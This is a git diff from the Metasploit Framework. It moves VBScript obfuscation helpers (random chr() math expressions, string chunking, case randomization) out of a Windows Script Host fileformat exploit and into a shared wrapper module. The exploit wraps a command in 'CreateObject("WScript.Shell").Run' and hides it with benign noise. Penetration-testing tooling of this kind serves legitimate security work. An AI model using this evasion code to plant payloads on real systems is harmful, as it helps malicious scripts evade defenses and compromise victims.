diff --git a/lib/msf/core/exploit/vbsobfuscate.rb b/lib/msf/core/exploit/vbsobfuscate.rb new file mode 100644 index 000000000000..a8b3f5c3f0a8 --- /dev/null +++ b/lib/msf/core/exploit/vbsobfuscate.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- + +require 'rex/exploitation/vbsobfuscate' + +module Msf + # VBS obfuscation library wrapper for Rex::Exploitation::VBSObfuscate + module Exploit::VBSObfuscate + def initialize(info = {}) + super + register_advanced_options([ + OptInt.new('VbsObfuscate', [false, 'Number of times to obfuscate VBS', 1]), + ]) + end + + # + # Returns an VBSObfuscate object. A wrapper of ::Rex::Exploitation::VBSObfuscate.new(vbs).obfuscate! + # + # @param vbs [String] VBS code + # @param opts [Hash] obfuscation options + # * :iterations [FixNum] Number of times to obfuscate + # * :normalize_whitespace [Boolean] normalize line endings and strip leading/trailing whitespace from each line (true) + # * :dynamic_execution [Boolean] dynamically execute obfuscated code with Execute (true) + # @return [::Rex::Exploitation::VBSObfuscate] + # + def vbs_obfuscate(vbs, opts = {}) + iterations = (opts[:iterations] || datastore['VbsObfuscate']).to_i + normalize_whitespace = opts[:normalize_whitespace].blank? || opts[:normalize_whitespace] + dynamic_execution = opts[:dynamic_execution].blank? || opts[:dynamic_execution] + + vbs_obfuscate = ::Rex::Exploitation::VBSObfuscate.new(vbs) + vbs_obfuscate.obfuscate!( + iterations: iterations, + normalize_whitespace: normalize_whitespace, + dynamic_execution: dynamic_execution + ) + vbs_obfuscate + end + end +end diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index be9ab24d21b8..9509f949236d 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -124,6 +124,7 @@ def custom_inflections 'macho' => 'MachO', 'nodejs' => 'NodeJS', 'jsobfu' => 'JSObfu', + 'vbsobfuscate' => 'VBSObfuscate', 'osx' => 'OSX', 'webrtc' => 'WebRTC', 'json' => 'JSON', diff --git a/modules/exploits/windows/fileformat/windows_script_host_vbscript.rb b/modules/exploits/windows/fileformat/windows_script_host_vbscript.rb index 811b6e6f3f90..085cfdce59dd 100644 --- a/modules/exploits/windows/fileformat/windows_script_host_vbscript.rb +++ b/modules/exploits/windows/fileformat/windows_script_host_vbscript.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT + include Msf::Exploit::VBSObfuscate def initialize(info = {}) super( @@ -60,57 +61,6 @@ def initialize(info = {}) ]) end - # Returns a random math expression evaluating to input int - # - # @param [Integer] int input integer - # - # @return [String] math expression evaluating to input int - def generate_number_expression(int) - case rand(4) - when 0 # Sum - a = rand(0..int) - b = int - a - "(#{a}+#{b})" - when 1 # Difference - r1 = int + rand(1..10) - r2 = r1 - int - "(#{r1}-#{r2})" - when 2 # Product (only if divisible) - divisors = (1..int).select { |d| (int % d).zero? } - if divisors.size > 1 - d = divisors.sample - "(#{d}*#{int / d})" - else - "(#{int}+0)" - end - when 3 # Quotient - r2 = rand(1..10) - r1 = int * r2 - "(#{r1}/#{r2})" - end - end - - # Return VBScript code with all strings split into chunks and concatenated - # - # @param [String] vbscript VBScript code - # - # @return [String] VBScript code with chunked strings - def chunk_vbscript_strings(vbscript) - vbscript.gsub(/"([^"]+)"/) do - original = Regexp.last_match(1) - chunks = [] - - i = 0 - while i < original.length - chunk_size = rand(1..5) - chunks << "\"#{original[i, chunk_size]}\"" - i += chunk_size - end - - chunks.join(' & ') - end - end - # Build a series of benign VBScript noise blocks # # @param [Integer] block_count Number of blocks to generate @@ -156,29 +106,6 @@ def generate_vbscript_noise(block_count = 0) lines.join("\r\n") end - # Obfuscate string literals and integer literals - # - # @param [String] vbscript VBScript code to be obfuscated - # - # @return [String] Obfuscated VBScript - def obfuscate_vbscript(vbscript) - obfuscated = vbscript.dup - - # Obfuscate strings - obfuscated = chunk_vbscript_strings(obfuscated) - obfuscated.gsub!(/"((?:[^"]|"")*)"/) do - raw = ::Regexp.last_match(1).gsub('""', '"') - raw.chars.map { |c| "chr(#{generate_number_expression(c.ord)})" }.join(' & ') - end - - # Obfuscate integers - obfuscated.gsub!(/\b\d+\b/) do |num| - generate_number_expression(num.to_i) - end - - obfuscated - end - def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false) vbs = '' vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code @@ -200,7 +127,7 @@ def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_li shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")" if obfuscate - vbs << obfuscate_vbscript(vbs_payload) + vbs << vbs_obfuscate(vbs_payload).to_s else vbs << vbs_payload end